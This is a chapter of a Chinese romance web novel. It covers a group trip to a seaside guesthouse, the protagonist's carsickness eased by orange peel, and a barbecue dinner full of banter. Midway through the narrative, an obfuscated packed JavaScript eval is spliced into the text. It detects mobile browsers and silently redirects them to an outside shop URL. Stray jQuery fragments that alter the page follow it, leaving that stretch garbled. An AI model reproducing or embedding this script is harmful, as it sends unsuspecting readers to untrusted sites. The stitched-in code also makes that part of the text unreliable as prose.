“他是不是喜欢我?”
喜欢……我?
一句话,反复回荡在宋桥的脑海里。
前额上,程渡舟手掌的余温仍未散去,伴随着路晓秋的那一句感慨,灼得人心底发烫。
她下意识打字:【话也不能这么绝对!】
路晓秋:【?】
宋桥:【有可能他就是手痒痒了,或者见义勇为呢?】
路晓秋:【??你还是不是我的军师?】
坏了,忘记自己身份了。
宋桥有点心虚地摸摸鼻子,回复:【听你的歌去吧,我晕车,不聊了】
说完,果真收了手机。
她不是找理由,是真的有点晕车。
刚刚低头玩了很久的手机,加上车子急刹,东摇西晃,还真把她搞得有些反胃,喉咙一阵一阵发酸。
程渡舟这个臭乌鸦嘴,上车时候非说什么晕车!
本来不恶心,也给人家说反胃了!
宋桥恶狠狠瞪一眼身旁闭目养神的人。
说来也是奇了,明明那人闭着眼,却在宋桥注视他时,一秒睁开眼睛。
两人瞬间四目相对。
“看我干什么?”程渡舟靠在椅背上,懒懒开口。
“谁看你了,你……你长得好看?”宋桥被说中了,一脸心虚地骂两句。
“你嘴唇怎么白成这样?偷偷啃人家墙皮了?”
“你才啃墙皮了,我这是……”
一阵眩晕感冲上头顶,宋桥皱了皱眉,下意识攥住了身旁的座椅扶手。
压下嗓子里的不适感,她破罐子破摔:“我是被你的乌鸦嘴说中,晕车了!”
“爱晕车,刚刚还抱着手机看个不停,政务就这么繁忙?”程渡舟反问她,“多大的人了,对自己身体没数?”
宋桥不回他,合上眼睛,将脑袋靠在座椅上,尝试用睡眠对抗眩晕。
视线漆黑一片后,听觉就格外灵敏。
她听到安全带被解开的清脆一声,身旁那人在低声说:“胡姐,能给我个橘子么?”
嘿!
宋桥翻个身,心情因为身体的不适,愈发暴躁。
橘子皮剥开,有酸涩又清新的气味传开,往她鼻子里钻。
过了一会儿,鼻子下面一凉,橘子的清新味道愈发浓烈。
清香与胃酸对抗,竟然真的更胜一筹,压下少许烦躁。
宋桥睁开眼,发现是程渡舟捧着剥掉的橘子皮,放在她鼻子下面。
见她愣在原地,程渡舟点了点她鼻子:“帮我拿着。”
“你把我当你垃圾桶?”
“昂,对。”
“?我动手了你信不信?”
看着面前这个油盐不进的姑娘,程渡舟深深叹一口气:“橘子皮的味道可以缓解晕车,小姐,你有点基本常识没有?”
“……哦。”宋桥听话地接过橘子皮,捧着吸了一大口,呛得直咳嗽。
“宋桥,你长这么大,真的要感谢社会文明进步,还有人类身体素质的提高。”看着她猛咳不止,程渡舟一脸感慨。
“敢笑话我,等我下车……咳咳咳……你完了!”咳嗽的间隙,宋桥不忘挥着拳头威胁他。
“不晕了?”程渡舟一挑眉,“橘子皮还给我。”
一个小时后,车子拐个弯,在民宿门口停下。
刚下车,便能听到远处海浪拍打沙滩的声音,海风里,是独属于海洋的咸腥味。
深深呼吸几口新鲜空气,宋桥终于活了过来。
“姐妹!我跟你讲!”路晓秋三步并作两步,万分激动道,“刚刚我晕车,兰予安就给我涂风油精,然后还给我剥橘子吃,你说他是不是……”
剥橘子?
捕捉到关键词,后半句,宋桥没听清。
视线所及,一个高挑的背影迈着长腿向垃圾桶走去,手背一翻,橙红色的橘子皮应声掉入垃圾桶内。
明明两个人隔得那么远,宋桥却莫名觉得,自己又回到了车上,可以闻到对方手指上的淡淡橘子香味。
“喂!”路晓秋一张大脸突然怼在她面前,吓了她一跳,“想什么呢,这么走神?”
宋桥回过神来:“啊?哦,没有。”
下意识看向同样的位置,那人却早就离开了。
“你这两天怪怪的,有情况?”路晓秋笑得贼兮兮,“坦白从宽,抗拒从严!”
“我能有什么情况?”宋桥摸了摸鼻子,“天天奔波,还要赶稿子,哪有这闲工夫……坏了!”
她掏出备忘录,两眼一抹黑。
前两天庆祝《七弦少女》达到万收,她大手一挥,在评论区承诺,要给一个福利番外。
然而眼见着承诺的ddl快到,自己的小剧场还没动一笔呢。
“惨了,我得赶紧找个房间,把小剧场画了再说。”
“出来玩还工作啊?”路晓秋不解。
“像我们全职画画的,哪有放假这一说,简直是全年无休。”宋桥叼着行李往民宿里窜,“我先撤了!”
“宋老师这是怎么了,这么着急?”
兰予安正在跟程渡舟说话,转头的功夫,看到一个身影呼啸着掠过,路晓秋拎着行李箱,在身后追。
程渡舟闻言,眉毛轻皱。
他往后扫一眼,诧异道:“奇了,这也没狗追她啊。难道里面开饭了?”
“……”兰予安对好兄弟的毒舌已经见怪不怪,将话题拐回来,“所以说,我刚刚在车上,不仅帮她护住额头,还剥橘子,涂风油精,我觉得,晓秋一定能感受到我的心。”
这都是些什么互动?
听到他的话,程渡舟眉毛之间的褶皱更深一层:“你确定不是在关心弱势群体?”
“晓秋也不能算是弱势群体吧?”兰予安摸不着头脑,“再说了,这些行为,不明摆着是对人家有好感吗?”
“瞎说什么?”程渡舟脸色有些不自然,没接话,竟头也不回地进了门。
他走路时,脚下很慌乱,都有点不像是他本人了。
?
兰予安站在原地,抓着脑袋想了半天,也搞不懂程渡舟破防的点。
*
宋桥揉着酸痛的脖子,从画稿中分出神来,太阳已经默默沉入地平线。
将画稿发送后,立刻得到了不少评论。
【啊啊啊,是我产生幻觉了吗?非更新日,太太竟然产粮了!】
【萌晕我了……女鹅过来,妈妈亲亲!】
【百人血书,老师出书!】
出书吗?
宋桥视线定格在这条评论上,思绪纷飞。
片刻,她内心流着泪,默默点一个赞。
是谁说出了她的心声?她真的很想出书啊!
只是现在纸媒难做,凭借自己的小透明程度,不知道是猴年马月才能有人找上门了……
正在感慨着,窗外传来一阵喧嚣,打断她的胡思乱想。
走到露台上,看到许多人挤在海边,围着烧烤炉,热热闹闹烤海鲜。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17842394|210174||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
“桥桥!”路晓秋看到阳台上的身影,猛猛挥手,“快下来,吃饭了!”
“来了!”宋桥应一声。
蓝调时刻像是一杯打翻的蓝色鸡尾酒,被烧烤的香气燎过,辛辣又令人微醺。
海鲜准备完毕,在小院子里,摆了满满一桌。
众人在桌子四周围了一圈坐下,宋桥扫一眼,发现熟悉的人没到场。
还没开口问,有人先喊了:“程老师怎么没来?”
“烤着肉呢,还有最后一批,说是马上来。”
“陆老板也没来?”
“给程老师打下手呢吧?”
餐桌上,突然掀起了一阵暧昧的起哄声。
“我说你们得了啊,闲得没事儿干了,看谁都像是谈恋爱。”兰予安朝起哄最凶的那个人丢毛豆。
“这不对吧?你们数字化都有情况了,还管我们实验室的人?”
“说什么呢?”
兰予安明显慌了,脸红脖子粗,非得要跟起哄的人理论理论。
混乱中,宋桥扯扯路晓秋袖子,压低声音问:“陆老板是谁啊?”
“下午你不在,不知道。她是民宿老板,听说之前就跟程渡舟认识,俩人一见面就聊得热火朝天,所以大家都说,程老师有情况。”
这话听进耳里,不知道是什么情绪。
宋桥还没来得及再问几句,身后传来一声清脆的叫喊:“烤肉来咯!”
转过头,一个女生端着盘子,笑语盈盈,走在前面。
她看起来比宋桥年龄略大一些,卷发扎成个丸子头,有种干净利落的美。
她身后跟着个臭脸的男人,同样是铁盘,非得一手揣兜,单手拎着,步子走得潇洒,手上却很稳。
“辛苦了!快坐!”
有人非常识趣地空开两个并排座位。
“没必要。”
程渡舟变魔术似的,顺手抄个凳子,插在宋桥左边,坐得理所当然。
众人皆是一愣。
去看陆老板的表情,似乎有些耐人寻味,在某两个人身上打转。
桌上一时无人说话,也无人动筷。
“怎么着,都被点穴了?”程渡舟倒是若无其事,“咱们研究所,什么时候变辟谷寺了?”
有这句话垫了垫,桌上气氛终于破了冰,活跃起来。
宋桥想要嘱咐好友,吃海鲜要斯文,必要时候可以寻求兰予安帮助。
一转头,路晓秋正在啃食螃蟹,邦邦硬的壳咬得嘎嘣脆,咬合力不输一只成年鬣狗。
正所谓卧龙身旁,必有凤雏。
再看她的crush兰先生,同样是吃龙虾吃得满头大汗,连个眼神都不分给她。
宋桥:……
怀疑人生之时,身边的某人非常不满地“啧”一声,斜眼看她:“你往旁边去点,这么没有眼力见呢?”
宋桥本就火大,这一句话,可算是撞枪口上了。
“你屁股怎么就这么大?”
“能不能对你邻居尊重一点?”
“我叫你坐过来的?我叫的?”
“当然是你,你刚刚看着我,眼睛那么亮,就差摇着狗尾巴让我坐这儿了吧。”
程渡舟回复得似乎是非常理所当然。
?
宋桥指着自己的脸,神情写满两个大字——“我吗?”
两人斗嘴之时,有人拍拍桌子,站起身。
“今天咱们放松一把,玩个增进感情的小游戏,如何?”